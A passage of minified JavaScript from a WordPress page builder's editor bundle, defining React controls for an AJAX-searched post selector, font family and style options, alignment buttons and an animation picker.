l()(n.props.labelFilter)?e:n.props.labelFilter(e,t.substr(n.valuePrefix.length),n.state.options)},n.handleOpenDropdown=function(){n.setState({open:!0}),n.inputRef.focus(),c()(n.state.options)&&n.requestOptions(n.props.value,n.state.search,n.state.meta.pagination.pages.current)},n.handleCloseDropdown=function(){n.setState({open:!1})},n.handleOnChange=function(e){var t=e.substr(n.valuePrefix.length),o=r()(n.state,"meta.pages.current",1);n.setState({selected:!1,options:{}},function(){n.getOptions(t,n.state.search,o)}),n.props._onChange(n.props.name,t)},n.handleOnPagination=function(e){var t=Math.max(Math.min(e,n.state.meta.pagination.pages.total),1);n.state.meta.pagination.pages.current!==t&&n.setState({meta:Wt()(Lt()(n.state.meta),"pagination.pages.current",t)},function(){n.requestOptions(n.props.value,n.state.search,n.state.meta.pagination.pages.current)})},n.handleSearch=function(e,t){t!==n.state.search&&n.setState({search:t},function(){return n.requestOptions(n.props.value,n.state.search,1)})},n._requestOptions=ft()(function(e,t,o){var r=n.props.arguments(e,t,o),i=n.props.defaultOption,a=Xt(n.props.src,r);n.setState({request:a},function(){a.then(function(s){if(a===n.state.request){var l=s.data,u=l.results,d=l.meta;if(""===t){var p=Lt()(u),f=p[1],h=O()(p,function(t){return Ke()(t.value)===Ke()(e)});f&&Ke()(f.value)===e&&(n.setState({selected:f}),Dt()(p,1)),!h&&i&&n.setState({selected:{value:i}}),c()(p)||L.a.updateAjaxifiedCache(r,o,ot()(p),d)}n.updateCurrentOptions(u,d)}}).always(function(){n.setState({loading:!1})})})},250),n.requestOptions=function(e,t,o){t.length>0&&t.length<3||(n.state.loading||n.setState({loading:!0}),n.getOptions(e,t,o))},n.getOptions=function(e,t,o){var i=n.props.arguments(e,t,o),a=Lt()(L.a.getAjaxifiedCache(i.action,i.post_type));if(""===t&&!c()(r()(a,["results",o],[]))){var s=c()(n.state.selected)||""===e?n.getSelectedOption(e,a):n.state.selected,l=r()(a,"meta",{}),u=r()(a,["results",o]);return Wt()(l,"pagination.pages.current",o),s&&Ke()(r()(u,"[1].value"))!==e&&u.splice(1,0,s),void n.updateCurrentOptions(u,l)}n._requestOptions(e,t,o)},n.getSelectedOption=function(e,t){var o=void 0;if(!c()(t)){if(T()(t.results,function(t){o||(o=O()(t,function(t){return Ke()(t.value)===Ke()(e)}))}),!c()(o))return Wt()(o,"meta.post_type",""),n.setState({selected:o}),o;n._requestOptions(e,"",1)}},n.updateCurrentOptions=function(e,t){var o=arguments.length>2&&void 0!==arguments[2]&&arguments[2],i=t||n.state.meta;n.setState({options:e,meta:i,loading:o},function(){c()(n.props.value)&&n.handleOnChange(n.valuePrefix+r()(e,"0.value","").toString())})},n.renderLoading=function(){return v.a.createElement("div",{className:"et-fb-select-ajaxified__spinner"})},n.renderNoResults=function(){return v.a.createElement("li",{className:"et-fb-select-options-filter select-option-item et-fb-select-ajaxified__element"},ETBuilderBackend.i18n.selectControl.noResults)},n.renderBeforeList=function(){return v.a.createElement("li",{className:"et-fb-select-options-filter select-option-item et-fb-select-ajaxified__element et-fb-select-ajaxified__search"},v.a.createElement(zt.a,{ref:function(e){return n.inputRef=e},type:"text",name:"search",value:n.state.search,_onChange:n.handleSearch,additional_attrs:{placeholder:ETBuilderBackend.i18n.selectControl.typeToSearch}}),n.state.loading&&n.renderLoading())},n.renderAfterList=function(e){return c()(n.state.options)&&!n.state.loading?v.a.createElement(g.Fragment,null,n.renderNoResults(),e):v.a.createElement(g.Fragment,null,e,n.renderPagination())},n.state={search:"",options:{},meta:{pagination:{results:{per_page:20,total:0},pages:{current:1,total:0}}},request:null,loading:!1,open:!1,selected:!1},n.valuePrefix="_",n.onClickPaginationPrev=n.onClickPaginationPrev.bind(n),n.onClickPaginationNext=n.onClickPaginationNext.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["PureComponent"]),$t(t,[{key:"onClickPaginationPrev",value:function(){this.handleOnPagination(this.state.meta.pagination.pages.current-1)}},{key:"onClickPaginationNext",value:function(){this.handleOnPagination(this.state.meta.pagination.pages.current+1)}},{key:"renderPagination",value:function(){var e=this.state.meta.pagination;if(e.pages.current>e.pages.total||e.pages.total<2)return null;var t=ETBuilderBackend.i18n.selectControl.pagination.replace("%1$s",e.pages.current).replace("%2$s",e.pages.total);return v.a.createElement("li",{className:"et-fb-select-options-filter select-option-item et-fb-select-ajaxified__element et-fb-select-ajaxified__pagination"},v.a.createElement("div",{className:"et-fb-select-ajaxified__pagination-container"},v.a.createElement("button",{type:"button",className:"et-fb-select-ajaxified__pagination-button et-fb-select-ajaxified__pagination-button--previous",onClick:this.onClickPaginationPrev},v.a.createElement(M.a,{icon:"previous",color:qt.a.white})),v.a.createElement("span",{className:"et-fb-select-ajaxified__pagination-label"},t),v.a.createElement("button",{type:"button",className:"et-fb-select-ajaxified__pagination-button et-fb-select-ajaxified__pagination-button--next",onClick:this.onClickPaginationNext},v.a.createElement(M.a,{icon:"next",color:qt.a.white}))))}},{key:"componentDidMount",value:function(){this.requestOptions(this.props.value,this.state.search,this.state.meta.pagination.pages.current)}},{key:"render",value:function(){var e=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(this.props,[]),t=r()(this,"state.selected.value",this.props.value);return e=H()(e,"searchable"),v.a.createElement("div",{className:"et-fb-select-ajaxified"},v.a.createElement(Pt.a,Kt({},e,{options:this.getSelectOptions(),value:this.valuePrefix+t,selectFirst:!1,emptyLabel:ETBuilderBackend.i18n.selectControl.noTitle,labelFilter:this.filterOptionLabel,preserveHeight:this.state.meta.pagination.pages.total>1?"on":"auto",beforeList:this.renderBeforeList,afterList:this.renderAfterList,__onChange:this.handleOnChange,onOpen:this.handleOpenDropdown,onClose:this.handleCloseDropdown})),this.state.loading&&!this.state.open&&this.renderLoading())}}]),t}();Yt.propTypes={name:y.a.string,value:y.a.any.isRequired,src:y.a.string,arguments:y.a.func.isRequired,labelFilter:y.a.func,_onChange:y.a.func,defaultOption:y.a.any},Yt.defaultProps={name:"",src:ETBuilderBackend.ajaxUrl,labelFilter:void 0,_onChange:dt.a,defaultOption:!1};var Jt=Yt,Qt=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},Zt=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function en(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var tn=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];return n=o=en(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o.filterOptionLabel=function(e,t,n){var o=O()(n,function(e){return e.value.toString()===t.toString()});return l()(o)?e:v.a.createElement(g.Fragment,null,v.a.createElement("span",{className:"et-fb-select-ajaxified__item-label"},e))},o.getArguments=function(e,t,n){var r=o.props,i=r.post_type,a=r.include_latest_post,s=r.include_current_post,l=r.current_post_type;return{action:"et_builder_search_posts",nonce:ETBuilderBackend.nonces.searchPosts,post_type:i,include_latest_post:a,include_current_post:s,current_post_type:l,value:e,search:t,page:n}},en(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["PureComponent"]),Zt(t,[{key:"render",value:function(){var e=this.props,t=(e.post_type,e.include_latest_post,e.include_current_post,e.current_post_type,e.defaultOption),n=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["post_type","include_latest_post","include_current_post","current_post_type","defaultOption"]);return v.a.createElement(Jt,Qt({},n,{labelFilter:this.filterOptionLabel,defaultOption:t,arguments:this.getArguments}))}}]),t}();tn.defaultProps={include_latest_post:"0",include_current_post:"0",current_post_type:z.d.postType,defaultOption:!1};var nn=tn,on=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},rn=function(e){return v.a.createElement(nn,on({current_post_type:ETBuilderBackend.themeBuilder.isLayout?"product":z.d.postType,include_latest_post:"1",include_current_post:"product"===z.d.postType||ETBuilderBackend.themeBuilder.isLayout?"1":"0",defaultOption:"latest"},e))},an=n(162),sn=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},ln=function(e){return v.a.createElement(an.a,{componentName:e.name},v.a.createElement(Pt.a,sn({className:"et-fb-settings-option-select--dividers"},e)))},un=n(83),cn=n.n(un),dn=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},pn=function(e){if(""!==r()(e,"module.props.module.props.attrs.global_module","")||L.a.isEditingLibraryItem("row"))return!1;var t=cn()(e.options);return"et_pb_column_inner"===r()(e,"content.[0].type","")&&"2_3"!==r()(e,"content.[0].attrs.saved_specialty_column_type","")&&Dt()(t,"1_4,1_4,1_4,1_4"),v.a.createElement(an.a,{componentName:e.name},v.a.createElement(Pt.a,dn({},e,{options:t})))},fn=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var hn=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n._onChange=n._onChange.bind(n),n.shouldComponentUpdate=k.a.shouldComponentUpdate.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,g["Component"]),fn(t,[{key:"render",value:function(){var e=z.d.getWidgetAreas(),t={},n="";return T()(e,function(e,o){n||(n=o),t[o]=e.name}),v.a.createElement(Pt.a,{value:this.props.value,default:n,name:this.props.name,__onChange:this._onChange,options:t})}},{key:"_onChange",value:function(e){this.props._onChange(this.props.name,e)}}]),t}();hn.propTypes={_onChange:y.a.func,className:y.a.object,computed_affects:y.a.array,name:y.a.string,description:y.a.string,value:y.a.string};var mn=hn,gn=n(1416),vn=n(15),bn=n.n(vn),yn=n(29),_n=n.n(yn),kn=n(919),wn=(n(1418),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),Cn=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function En(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var On=ETBuilderBackend.i18n.fonts,Sn=new rt.AllHtmlEntities,Tn={name:y.a.string,value:y.a.string,default:y.a.string,_onChange:y.a.func,_resetOption:y.a.func},Mn=function(e){return r()(ETBuilderBackend,"removedFonts."+e+".parent_font",e)},xn=[{slug:"italic",icon:"text-italic"},{slug:"uppercase",icon:"text-uppercase"},{slug:"capitalize",icon:"text-smallcaps"},{slug:"underline",icon:"text-underline"},{slug:"line_through",icon:"text-strikethrough"}],Pn=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.getDefaultValue=function(e){return r()(n.getDefaultValues(),e,"")},n.getValue=function(e){return r()(n.getValues(),e,"")},n.isDefault=function(e){switch(e){case"style":return ze()(xn,"slug").reduce(function(e,t){return e&&n.isDefault(t)},!0);default:return n.getValue(e)===n.getDefaultValue(e)}},n.updateFontWeight=function(e){return n.updateOptionValue("weight",e)},n.updateLineColor=function(e,t){return n.updateOptionValue("line_color",t)},n.updateLineStyle=function(e){return n.updateOptionValue("line_style",e)},n.resetOption=function(e){switch(e){case"style":var t=ze()(xn,"slug").reduce(function(e,t){return wn({},e,En({},t,n.getDefaultValue(t)))},{});n.updateFontStyle(t);break;default:n.updateOptionValue(e,n.getDefaultValue(e))}},n.toggleButton=function(e){return n.updateOptionValue(e,!n.getValue(e))},n.getLabel=function(e,t){return v.a.createElement(kn.a,{isResetActive:!n.isDefault(e),onClickReset:function(t){return n.resetOption(e)},for:n.props.name+"_"+e,name:n.props.name,hoveredGroup:n.state.hoveredElement===e},Sn.decode(t))},n.state={uploadedFonts:n.getUploadedFonts(),hoveredElement:null},n.shouldComponentUpdate=k.a.shouldComponentUpdate.bind(n),n.getDefaultValues=n.getDefaultValues.bind(n),n.getValues=n.getValues.bind(n),n.updateFontStyle=n.updateFontStyle.bind(n),n.updateFontFamily=n.updateFontFamily.bind(n),n.fontStyleButtonClassNames=n.fontStyleButtonClassNames.bind(n),n.getFontWeightOptions=n.getFontWeightOptions.bind(n),n.getFontWeight=n.getFontWeight.bind(n),n.updateOptionValue=n.updateOptionValue.bind(n),n._onFontUploaderUpdate=n._onFontUploaderUpdate.bind(n),n.maybeResetFont=n.maybeResetFont.bind(n),n._applyFontPreview=n._applyFontPreview.bind(n),n._applyFontPreviewOnLoad=n._applyFontPreviewOnLoad.bind(n),n._previewFontOnHover=n._previewFontOnHover.bind(n),n.updateLineStyle=n.updateLineStyle.bind(n),n._onMouseEnter=n._onMouseEnter.bind(n),n._onMouseLeave=n._onMouseLeave.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,v.a.Component),Cn(t,[{key:"componentDidMount",value:function(){this.props.isItemSelected||setTimeout(this.maybeResetFont,0),L.a.addFontUploaderUpdateListener(this._onFontUploaderUpdate),this._applyFontPreviewOnLoad();var e=r()(this.props,"additionalAttrs.oldOptionValue",""),t=r()(this.props,"attributes.data-old-option-ref",!1);if(""!==e&&t){var n={};"on"===e&&(n.uppercase="on",this.updateFontStyle(n)),this.props._resetOption(t)}}},{key:"componentWillUnmount",value:function(){L.a.removeFontUploaderUpdateListener(this._onFontUploaderUpdate)}},{key:"maybeResetFont",value:function(){var e=this.getValues();if(!c()(e.font)){var t=ETBuilderBackend.removedFonts,n=e.font;if(!l()(t[n]))return this.updateOptionValue("font",t[n].parent_font),void this.updateOptionValue("weight",t[n].styles);l()(ETBuilderBackend.googleFonts[n])&&l()(ETBuilderBackend.customFonts[n])&&this.updateOptionValue("font","Default")}}},{key:"getDefaultValues",value:function(){var e=(ue()(this.props.default)?this.props.default:"||||||||").split("|");return{font:Mn(e[0]||""),weight:this.processFontWeightValue(e[1])||"",italic:q.default.isOn(e[2]),uppercase:q.default.isOn(e[3]),underline:q.default.isOn(e[4]),capitalize:q.default.isOn(e[5]),line_through:q.default.isOn(e[6]),line_color:e[7]||"",line_style:e[8]||""}}},{key:"getDefaultEmptyFontValue",value:function(){return _t.a.isMobile(this.props)?"Default":""}},{key:"getValues",value:function(){var e=!l()(this.props.default)&&ue()(this.props.default)?this.props.default:"||||||||",t=l()(this.props.value)||""===this.props.value?e:this.props.value,n=W()(t)?t:t.split("|");return{font:Mn(n[0]||""),weight:this.processFontWeightValue(Ke()(n[1]))||"",italic:q.default.isOn(n[2]),uppercase:q.default.isOn(n[3]),underline:q.default.isOn(n[4]),capitalize:q.default.isOn(n[5]),line_through:q.default.isOn(n[6]),line_color:n[7]||"",line_style:n[8]||""}}},{key:"_onFontUploaderUpdate",value:function(){var e=this;setTimeout(function(){e.maybeResetFont()},100),this.setState({uploadedFonts:this.getUploadedFonts()})}},{key:"processFontWeightValue",value:function(e){return"on"===e?"700":e}},{key:"updateFontStyle",value:function(e){var t=this.getValues(),n=bn()(t,e),o="Default"===n.font?this.getDefaultEmptyFontValue():n.font,r=o+"|"+("400"===n.weight?"":n.weight)+"|"+(n.italic?"on":"")+"|"+(n.uppercase?"on":"")+"|"+(n.underline?"on":"")+"|"+(n.capitalize?"on":"")+"|"+(n.line_through?"on":"")+"|"+n.line_color+"|"+n.line_style;this.props._onChange(this.props.name,r),this._applyFontPreview(o,"font-family"),this._applyFontPreview(o,"font-weight")}},{key:"updateFontFamily",value:function(e){this.updateFontStyle({font:e}),this._applyFontPreview(e,"font-family"),this._applyFontPreview(e,"font-weight")}},{key:"_previewFontOnHover",value:function(e){this._applyFontPreview(e,"font-family")}},{key:"_applyFontPreviewOnLoad",value:function(){var e=this.getValue("font");this._applyFontPreview(e,"font-weight"),this._applyFontPreview(e,"font-family")}},{key:"_applyFontPreview",value:function(e,t){var n=q.default.$topWindow("head"),o="font-weight"===t?"et-fb-font-weight-"+this.props.name:e.replace(/ /g,"_");if("Default"!==e&&""!==e){q.default.maybeLoadFont(e);var r="";if("font-weight"===t)n.find("style#"+o).length>0&&n.find("style#"+o).remove(),r='<style id="'+o+'" type="text/css">.et-fb-settings-option-inner--'+this.props.name+' .et-fb-font-weight-option { font-family:"'+e+'"; }</style>';else{if(n.find("style#et-fb-font-"+o).length>0)return;r='<style id="et-fb-font-'+o+'" type="text/css">.et-fb-option--font .select-option-item-'+o+' { font-family:"'+e+'"; }</style>'}n.append(r)}else"font-weight"===t&&n.find("style#"+o).length>0&&n.find("style#"+o).remove()}},{key:"getUploadedFonts",value:function(){var e=ETBuilderBackend.customFonts;return c()(e)?[]:_n()(e)}},{key:"getFontWeightOptions",value:function(){var e=ETBuilderBackend.googleFonts,t=ETBuilderBackend.customFonts,n=this.getValue("font"),o=r()(t,n,!1),i=_n()(ETBuilderBackend.allFontWeights),a={},s=[];if(""===n)s=["300","400","600","700","800"];else{if(o||(o=r()(e,n,!1)),!o||l()(o.styles))return ETBuilderBackend.allFontWeights;s=o.styles.split(",")}var u=Je()(tt()(["400","700"],s),i);return T()(u,function(e){a[e]=ETBuilderBackend.allFontWeights[e]}),a}},{key:"getFontWeight",value:function(){var e=this.getValue("weight");return!0===e?"700":p()(_n()(this.getFontWeightOptions()),e)?e:"400"}},{key:"updateOptionValue",value:function(e,t){var n=this.getValues();n[e]=q.default.get(t,""),T()([["uppercase","capitalize"],["underline","line_through"]],function(t){p()(t,e)&&T()(t,function(t){t!==e&&(n[t]=!1)})}),this.updateFontStyle(n)}},{key:"fontStyleButtonClassNames",value:function(e){var t;return C()((En(t={"et-fb-select-fontstyle-button":!0},"et-fb-select-fontstyle-button--"+e,!0),En(t,"et-fb-select-fontstyle-option--"+this.props.name,!0),t))}},{key:"fieldClassNames",value:function(e,t){var n;return C()(bn()({},(En(n={"et-fb-font-option-container":!0,"et-fb-font-option-container-with-label":!0},"et-fb-font-option-container--"+this.props.name,!0),En(n,"et-fb-font-option-container--sub",!0),En(n,"et-fb-font-option-container--sub-"+e,!0),n),t))}},{key:"_onMouseEnter",value:function(e){if(!this.props.rightClickOpened&&this.props.isSettingsModal){var t=e.currentTarget.getAttribute("data-subfield");this.setState({hoveredElement:t}),Me.b.setHoveredSubElement(t)}}},{key:"_onMouseLeave",value:function(){!this.props.rightClickOpened&&this.props.isSettingsModal&&Me.b.setHoveredSubElement(!1)}},{key:"_extraProps",value:function(){var e={readonly:this.props.readonly,disableReset:this.props.disableReset};return bn()({},e)}},{key:"_isFilterActive",value:function(){return p()(["styles_modified","active_content"],this.props.filterSelected)}},{key:"_isRenderSubFieldLabel",value:function(e){return!!l()(this.props.subFieldLabel)||(ue()(this.props.subFieldLabel)?e===this.props.subFieldLabel:se()(this.props.subFieldLabel)?p()(this.props.subFieldLabel,e):this.props.subFieldLabel)}},{key:"_isRenderSubField",value:function(e){return!!l()(this.props.subField)||(ue()(this.props.subField)?e===this.props.subField:se()(this.props.subField)?p()(this.props.subField,e):this.props.subField)}},{key:"_renderSubFieldFontFamily",value:function(){if(!this._isRenderSubField("font"))return!1;var e=this.getValue("font");if(this._isFilterActive()&&(!e||"Default"===e))return!1;var t=this.fieldClassNames("font");return v.a.createElement("div",{className:t,"data-subfield":"font",onMouseEnter:this._onMouseEnter,onMouseLeave:this._onMouseLeave},this._isRenderSubFieldLabel("font")&&this.props.formLabel,this._isRenderSubFieldLabel("font")&&this.props.formDescription,v.a.createElement(Pt.a,wn({default:"Default",recentCategory:"font_family",value:e,name:this.props.name,options:ETBuilderBackend.googleFontsList,additionalOptions:{uploaded:this.state.uploadedFonts},searchPlaceholder:On.searchFonts,searchable:!0,displayRecent:!0,_hoverAction:this._previewFontOnHover,__onChange:this.updateFontFamily},this._extraProps())))}},{key:"_renderSubFieldFontWeight",value:function(){if(!this._isRenderSubField("weight"))return!1;var e=this.getFontWeight();if(this._isFilterActive()&&(!e||p()(["400","normal"],e)))return!1;var t=l()(this.props.group_label)?On.fontWeight:this.props.group_label+" "+On.fontWeight,n=!!this._isRenderSubFieldLabel("weight")&&this.getLabel("weight",t),o=this.fieldClassNames("weight");return v.a.createElement("div",{className:o,"data-subfield":"weight",onMouseEnter:this._onMouseEnter,onMouseLeave:this._onMouseLeave},n,v.a.createElement(Pt.a,wn({className:"et-fb-font-weight-option",name:this.props.name+"_weight",default:"normal",value:e,options:this.getFontWeightOptions(),__onChange:this.updateFontWeight},this._extraProps())))}},{key:"_renderSubFieldFontStyle",value:function(){var e=this;if(!this._isRenderSubField("style"))return!1;var t=xn.filter(function(t){return!e._isFilterActive()||e._isFilterActive()&&e.getValue(t.slug)});if(c()(t))return!1;var n=t.map(function(t){var n=e.getValue(t.slug)?qt.a.activeTabIcon:qt.a.optionTabIcon;return v.a.createElement("button",{key:t.slug,className:e.fontStyleButtonClassNames(t.slug),onClick:function(n){return e.toggleButton(t.slug)||n.preventDefault()},"data-button":t.slug,type:t},v.a.createElement(M.a,{icon:t.icon,color:n}))}),o=l()(this.props.group_label)?On.fontStyle:this.props.group_label+" "+On.fontStyle,r=!!this._isRenderSubFieldLabel("style")&&this.getLabel("style",o),i=this.fieldClassNames("style");return v.a.createElement("div",{className:i,"data-subfield":"style",onMouseEnter:this._onMouseEnter,onMouseLeave:this._onMouseLeave},r,n)}},{key:"_renderSubFieldFontLineColor",value:function(){if(!this._isRenderSubField("line_color"))return!1;var e=this.getValue("underline"),t=this.getValue("line_through");if(!e&&!t)return!1;var n=this.getValue("line_color");if(this._isFilterActive()&&!n)return!1;var o=e?On.underline:On.strikethrough,r=l()(this.props.group_label)?o+" "+On.color:this.props.group_label+" "+o+" "+On.color,i=!!this._isRenderSubFieldLabel("line_color")&&this.getLabel("line_color",r),a=this.fieldClassNames("line_color",{"et-fb-option--color-alpha":!0});return v.a.createElement("div",{className:a,onMouseEnter:this._onMouseEnter,onMouseLeave:this._onMouseLeave,"data-subfield":"line_color"},i,v.a.createElement(F.a,wn({name:this.props.name+"_line_color",type:"color-alpha",value:n,animate:!0,_onChange:this.updateLineColor},this._extraProps())))}},{key:"_renderSubFieldFontLineStyle",value:function(){if(!this._isRenderSubField("line_style"))return!1;var e=this.getValue("underline"),t=this.getValue("line_through");if(!e&&!t)return!1;var n=c()(this.getValue("line_style"))?"solid":this.getValue("line_style");if(this._isFilterActive()&&"solid"===n)return!1;var o=e?On.underline:On.strikethrough,r=l()(this.props.group_label)?o+" "+On.style:this.props.group_label+" "+o+" "+On.style,i=!!this._isRenderSubFieldLabel("line_style")&&this.getLabel("line_style",r),a=this.fieldClassNames("line_style");return v.a.createElement("div",{className:a,"data-subfield":"line_style",onMouseEnter:this._onMouseEnter,onMouseLeave:this._onMouseLeave},i,v.a.createElement(Pt.a,wn({name:this.props.name+"_line_style",className:"et-fb-font-line-style-option",default:"solid",value:n,options:["solid","double","dotted","dashed","wavy"],__onChange:this.updateLineStyle},this._extraProps())))}},{key:"render",value:function(){var e=C()(En({"et-fb-settings-option-inner":!0,"et-fb-settings-option-inner--select-fontstyle":!0},"et-fb-settings-option-inner--"+this.props.name,!0));return v.a.createElement("div",{className:e},this._renderSubFieldFontFamily(),this._renderSubFieldFontWeight(),this._renderSubFieldFontStyle(),this._renderSubFieldFontLineColor(),this._renderSubFieldFontLineStyle())}}]),t}();Pn.propTypes=Tn;var jn=Pn,Ln=(n(1419),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var Nn=function(e){switch(e){case"justified":return"text-justify";case"force_left":return"left";default:return e}},Dn=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.shouldComponentUpdate=k.a.shouldComponentUpdate.bind(n),n._onClick=n._onClick.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,v.a.Component),Ln(t,[{key:"_render_buttons",value:function(e){var t=this,n=l()(this.props.default)?"":this.props.default,o=""!==this.props.value?this.props.value:n,i=this;return ze()(e,function(e,n){var a=r()(i,"props.baseName",i.props.name),s=p()(["module_alignment","button_alignment"],je.a.getFieldBaseName(a))||"module_align"===r()(t,"props.options_icon",""),l=s?"align":"text",u="justified"===n?Nn(n):l+"-"+Nn(n),c=n===o,d=c?"#4191DE":"#bec9d6",f=s?12:14,h={"et-fb-settings-option-select-align-button":!0,"et-fb-settings-option-select-align-button--active":c};return h["et-fb-settings-option-select-align-button--"+n]=!0,v.a.createElement("button",{className:C()(h),key:i.props.name+"-select-align-option-"+n,onClick:i._onClick,"data-value":n},v.a.createElement(M.a,{icon:u,color:d,size:f}))})}},{key:"render",value:function(){var e={"et-fb-settings-option-select-align":!0};return this.props.className?e[this.props.className]=!0:e["et-fb-main-setting"]=!0,v.a.createElement("div",{id:"et-fb-"+this.props.name,className:C()(e)},this._render_buttons(this.props.options))}},{key:"_onClick",value:function(e){e.preventDefault();var t=this.props.name,n=e.target.getAttribute("data-value");n===r()(this,"props.value")&&(n=""),this.props._onChange(t,n)}}]),t}(),An=n(1420),Fn=n(1280),In=n(1423),Rn=(n(1425),oe()({displayName:"ETBuilderSelectAnimation",mixins:[k.a],render:function(){var e={none:ETBuilderBackend.i18n.controls.selectAnimation.none,fade:ETBuilderBackend.i18n.controls.selectAnimation.fade,slide:ETBuilderBackend.i18n.controls.selectAnimation.slide,bounce:ETBuilderBackend.i18n.controls.selectAnimation.bounce,zoom:ETBuilderBackend.i18n.controls.selectAnimation.zoom,flip:ETBuilderBackend.i18n.controls.selectAnimation.flip,fold:ETBuilderBackend.i18n.controls.selectAnimation.fold,roll:ETBuilderBackend.i18n.controls.selectAnimation.roll},t=Object.keys(e),n=this;return v.a.createElement("div",{className:"et_select_animation"},t.map(function(t,o){var i="";t===n.props.value&&(i="et_active_animation");var a="animation-"+t,s=r()(e,t,e.none);return v.a.createElement("div",{className:"et_animation_button",key:o},v.a.createElement("a",{href:"#",className:i,onClick:n._onClick.bind(n,t)},v.a.createElement("span",{className:"et_animation_button_title","data-value":t,key:o},s),v.a.createElement("span",{className:"et_animation_button_icon"},v.a.createElement(M.a,{icon:a}))))}))},_onClick:function(e,t){t.preventDefault(),this.props._onChange(this.props.name,e)}})),Bn=(n(1426),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),Wn=(n(1427),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var Vn=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised 